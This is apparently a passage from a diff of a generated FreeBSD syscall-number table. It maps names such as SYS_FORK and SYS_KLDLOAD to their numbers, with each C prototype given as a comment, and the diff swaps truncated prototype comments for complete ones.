-- SYS_UNDELETE = 205 // { int undelete(char *path); }
-- SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-- SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-- SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, \
-- SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 233 // { int clock_settime( \
-- SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, \
-- SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, \
-- SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-- SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, \
-- SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct \
-- SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-- SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, \
-- SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-- SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( \
-- SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( \
-- SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,\
-- SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, \
-- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, \
-- SYS_ISSETUGID = 253 // { int issetugid(void); }
-- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-- SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, \
-- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-- SYS_LUTIMES = 276 // { int lutimes(char *path, \
-- SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-- SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-- SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-- SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, \
-- SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, \
-- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, \
-- SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, \
-- SYS_MODNEXT = 300 // { int modnext(int modid); }
-- SYS_MODSTAT = 301 // { int modstat(int modid, \
-- SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-- SYS_MODFIND = 303 // { int modfind(const char *name); }
-- SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-- SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-- SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-- SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-- SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct \
-- SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-- SYS_GETSID = 310 // { int getsid(pid_t pid); }
-- SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, \
-- SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, \
-- SYS_YIELD = 321 // { int yield(void); }
-- SYS_MLOCKALL = 324 // { int mlockall(int how); }
-- SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-- SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-- SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, \
-- SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct \
-- SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int \
-- SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-- SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-- SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-- SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-- SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, \
-- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, \
-- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, \
-- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, \
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, \
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, \
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( \
-- SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-- SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, \
-- SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, \
-- SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, \
-- SYS___SETUGID = 374 // { int __setugid(int flag); }
-- SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-- SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, \
-- SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-- SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-- SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, \
-- SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, \
-- SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, \
-- SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, \
-- SYS_KENV = 390 // { int kenv(int what, const char *name, \
-- SYS_LCHFLAGS = 391 // { int lchflags(const char *path, \
-- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, \
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, \
-- SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, \
-- SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, \
-- SYS_STATFS = 396 // { int statfs(char *path, \
-- SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, \
-- SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, \
-- SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, \
-- SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, \
-- SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( \
-- SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( \
-- SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( \
-- SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, \
-- SYS_SIGACTION = 416 // { int sigaction(int sig, \
-- SYS_SIGRETURN = 417 // { int sigreturn( \
-- SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-- SYS_SETCONTEXT = 422 // { int setcontext( \
-- SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, \
-- SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-- SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, \
-- SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, \
-- SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, \
-- SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, \
-- SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, \
-- SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, \
-- SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-- SYS_THR_SELF = 432 // { int thr_self(long *id); }
-- SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-- SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
-- SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
-- SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-- SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, \
-- SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( \
-- SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( \
-- SYS_THR_SUSPEND = 442 // { int thr_suspend( \
-- SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-- SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-- SYS_AUDIT = 445 // { int audit(const void *record, \
-- SYS_AUDITON = 446 // { int auditon(int cmd, void *data, \
-- SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-- SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-- SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-- SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-- SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( \
-- SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( \
-- SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-- SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, \
-- SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, \
-- SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-- SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-- SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-- SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, \
-- SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, \
-- SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, \
-- SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, \
-- SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, \
-- SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-- SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-- SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-- SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, \
-- SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-- SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-- SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, \
-- SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, \
-- SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, \
-- SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, \
-- SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, \
-- SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, \
-- SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, \
-- SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, \
-- SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, \
-- SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, \
-- SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, \
-- SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-- SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, \
-- SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, \
-- SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, \
-- SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, \
-- SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-- SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-- SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, \
-- SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, \
-- SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-- SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-- SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-- SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, \
-- SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-- SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-- SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-- SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-- SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-- SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, \
-- SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, \
-- SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-- SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, \
-- SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, \
-- SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, \
-- SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, \
-- SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, \
-- SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, \
-- SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, \
-- SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, \
-- SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, \
-- SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, \
-- SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, \
-- SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, \
-- SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, \
-- SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, \
-- SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, \
-- SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, \
-- SYS_ACCEPT4 = 541 // { int accept4(int s, \
-- SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-- SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, \
-- SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, \
-- SYS_FUTIMENS = 546 // { int futimens(int fd, \
-- SYS_UTIMENSAT = 547 // { int utimensat(int fd, \
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
